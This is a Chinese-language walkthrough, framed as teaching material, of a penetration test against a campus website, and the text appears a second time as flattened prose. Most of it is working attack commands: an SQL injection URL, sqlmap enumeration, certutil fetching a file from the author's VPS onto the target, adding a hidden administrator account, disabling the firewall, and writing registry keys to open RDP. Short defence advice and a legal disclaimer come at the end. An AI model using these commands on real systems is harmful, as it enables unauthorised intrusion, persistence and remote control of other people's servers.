记一次不曲折的校内站点渗透
字数 924 2025-08-05 12:50:26

校内站点渗透实战教学文档

1. 前言

本文记录了一次针对校内网站的渗透测试过程,涉及SQL注入、权限提升和远程控制等技术。测试环境为Windows Server 2003系统,数据库为SQL Server 2005。

2. 漏洞发现与利用

2.1 SQL注入检测

发现目标URL存在SQL注入漏洞:

http://url/newdetail.aspx?id=11999' or 1=1 --

2.2 SQLMap自动化利用

使用SQLMap进行自动化注入测试:

  1. 获取数据库列表:
python sqlmap.py -u "http://url/newdetail.aspx?id=119" --batch --dbs
  1. 获取用户信息:
python sqlmap.py -u "http://url/newdetail.aspx?id=119" --batch -users

关键信息

  • 数据库系统:SQL Server 2005
  • 操作系统:Windows Server 2003 Enterprise Edition
  • 当前权限:NT AUTHORITY\SYSTEM(系统最高权限)

3. 系统信息收集

3.1 基础信息收集

  1. 查看当前目录:
chdir
  1. 查看C盘内容:
Dir c:\
  1. 查看网络配置:
ipconfig

3.2 文件传输测试

利用certutil工具从VPS下载文件:

# VPS启动简易HTTP服务
python -m SimpleHTTPServer 80

# 目标服务器执行
certutil.exe -urlcache -split -f http://[VPS_IP]/amazing1x

注意:遇到中文路径导致SQLMap写木马乱码问题,尝试解决未果。

4. 权限维持与远程控制

4.1 创建管理员用户

  1. 新建用户:
net user amazingadmin123 amazing.123456 /add
  1. 赋予管理员权限:
net localgroup Administrators amazingadmin123 /add
  1. 激活用户:
net user amazingadmin123 /active:yes
  1. 关闭防火墙:
netsh firewall set opmode mode=disable

4.2 开启RDP远程桌面

通过注册表修改开启3389端口:

  1. 创建注册表文件:
echo Windows Registry Editor Version 5.00 >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server] >>3389.reg
echo "fDenyTSConnections"=dword:00000000 >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp] >>3389.reg 
echo "ortNumber"=dword:00000D3D >>3389.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp] >>3389.reg
echo "PortNumber"=dword:00000D3D >>3389.reg
  1. 导入注册表:
regedit /s 3389.reg

遇到的问题:初始尝试失败,原因是安全策略要求复杂密码。解决方案是使用更复杂的密码创建用户。

5. 经验总结

  1. SQL注入利用:简单的SQL注入漏洞可能导致整个系统沦陷
  2. 权限提升:NT AUTHORITY\SYSTEM权限可直接控制系统
  3. 远程控制:Windows Server 2003的安全策略需要注意密码复杂度要求
  4. 文件传输:certutil是Windows内置的实用文件传输工具
  5. 中文路径问题:在渗透测试中可能遇到中文路径导致的乱码问题

6. 防御建议

  1. 修复SQL注入漏洞,使用参数化查询
  2. 加强密码策略,避免使用简单密码
  3. 限制数据库账户权限,避免使用高权限账户
  4. 监控系统日志,检测异常账户创建行为
  5. 保持系统更新,Windows Server 2003已停止支持,应考虑升级

7. 法律声明

本文仅用于教育目的,未经授权的渗透测试可能违反法律。在实际工作中,请确保获得合法授权后再进行安全测试。

校内站点渗透实战教学文档 1. 前言 本文记录了一次针对校内网站的渗透测试过程,涉及SQL注入、权限提升和远程控制等技术。测试环境为Windows Server 2003系统,数据库为SQL Server 2005。 2. 漏洞发现与利用 2.1 SQL注入检测 发现目标URL存在SQL注入漏洞: 2.2 SQLMap自动化利用 使用SQLMap进行自动化注入测试: 获取数据库列表: 获取用户信息: 关键信息 : 数据库系统:SQL Server 2005 操作系统:Windows Server 2003 Enterprise Edition 当前权限:NT AUTHORITY\SYSTEM(系统最高权限) 3. 系统信息收集 3.1 基础信息收集 查看当前目录: 查看C盘内容: 查看网络配置: 3.2 文件传输测试 利用certutil工具从VPS下载文件: 注意 :遇到中文路径导致SQLMap写木马乱码问题,尝试解决未果。 4. 权限维持与远程控制 4.1 创建管理员用户 新建用户: 赋予管理员权限: 激活用户: 关闭防火墙: 4.2 开启RDP远程桌面 通过注册表修改开启3389端口: 创建注册表文件: 导入注册表: 遇到的问题 :初始尝试失败,原因是安全策略要求复杂密码。解决方案是使用更复杂的密码创建用户。 5. 经验总结 SQL注入利用 :简单的SQL注入漏洞可能导致整个系统沦陷 权限提升 :NT AUTHORITY\SYSTEM权限可直接控制系统 远程控制 :Windows Server 2003的安全策略需要注意密码复杂度要求 文件传输 :certutil是Windows内置的实用文件传输工具 中文路径问题 :在渗透测试中可能遇到中文路径导致的乱码问题 6. 防御建议 修复SQL注入漏洞,使用参数化查询 加强密码策略,避免使用简单密码 限制数据库账户权限,避免使用高权限账户 监控系统日志,检测异常账户创建行为 保持系统更新,Windows Server 2003已停止支持,应考虑升级 7. 法律声明 本文仅用于教育目的,未经授权的渗透测试可能违反法律。在实际工作中,请确保获得合法授权后再进行安全测试。